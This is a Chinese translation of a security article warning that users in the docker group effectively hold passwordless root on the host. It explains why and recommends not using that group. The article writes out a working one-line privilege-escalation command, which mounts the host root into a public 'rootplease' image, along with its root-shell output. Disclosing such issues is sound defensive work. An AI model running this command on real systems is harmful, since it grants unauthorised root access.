本文讲的是Docker 安全：通过 Docker 提升权限，【编者的话】本文的目的在于提醒大家注意 Docker 的安全性。本文中所有的内容总结成一句话：某个用户被加入了 docker 用户组，那么这个用户相当于直接获得了宿主机免认证的 root 权限。本文中的情况出现的情况比较苛刻，所以大家可以把这篇文章当做一个 warning 问不是 error。
文章太长不要看，一句话，不要用 docker 用户组。
如果你对 Docker 不熟悉的话，简单来说，Docker 是一个轻量级的应用容器。和常见的虚拟机类似，但是和虚拟机相比，资源消耗更低。并且，使用和 GitHub 类似的被 commit 的容器，非常容易就能实现容器内指定运行环境中的应用打包和部署。
问题
如果你有服务器上一个普通用户的账号，如果这个用户被加入了 docker 用户组，那么你很容易就能获得宿主机的 root 权限。
黑魔法：docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
输出如下：
johndoe@testmachine:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease [...] You should now have a root shell on the host OS Press Ctrl-D to exit the docker instance / shell
whoami
root #此处是容器内部，但是容器已经 chroot /hostOS，所以相当于直接获取了宿主机的 root 权限。
#
译者一直以为是 Ctrl-D 之后，宿主机的
shell变成root，实际上不是。
咨询了作者 Chris Foster 得知，是在容器内获得宿主机的root权限。
是不是想起了以前译者在 Docker 安全 中提到的容器内部的 UID=0 对容器外部某个不明程序执行了chmod +s？
解释
当然，所有的解释汇成一句话，应该就是：docker 组内用户执行命令的时候会自动在所有命令前添加 sudo。因为设计或者其他的原因，Docker 给予所有 docker 组的用户相当大的权力（虽然权力只体现在能访问 /var/run/docker.sock 上面）。
默认情况下，Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker 组用户访问 Docker。给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大。
解决方案
对于 Docker 来说可能很难修复，因为涉及到他们的架构问题，所以需要重写非常多的关键代码才能避免这个问题。我个人的建议是不要使用 docker 用户组。当然，Docker 官方文档中最好也很清楚地写明这一点。不要让新人不懂得“和 root 权限差别不大”是什么意思。
Docker 官方也意识到了这个问题，尽管他们并没有很明显地表明想去修复它。在他们的安全文档中，他们也的确表示 docker 用户组的权限和 root 权限差别不大，并且敬告用户慎重使用。
漏洞详情
上面那条命令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease，主要的作用是：从 Docker Hub 上面下载我的镜像，然后运行。参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS，并且使用 -i 和 -t 参数进入容器的 shell。
这个容器的启动脚本是 exploit.sh，主要内容是：chroot 到容器的 /hostOS （也就是宿主机的 /），然后获取到宿主机的 root 权限。
当然可以从这个衍生出非常多的提权方法，但是这个方法是最直接的。
本文中所提到的代码托管在 Github，镜像在 Docker Hub。
原文链接：Privilege Escalation via Docker （翻译：SegmentFault社区 审校：魏小红）
=============================================
译者介绍
本文由 SegmentFault 社区 组织翻译。SegmentFault 正在组织翻译更多 Docker 文章，包括：Docker 安全、搭建 Rails 环境、甚至搭建 .NET 环境等，欢迎关注我们。
原文发布时间为：2015-05-27
本文作者：大舒
本文来自合作伙伴DockerOne，了解相关信息可以关注DockerOne。
原文标题：Docker 安全：通过 Docker 提升权限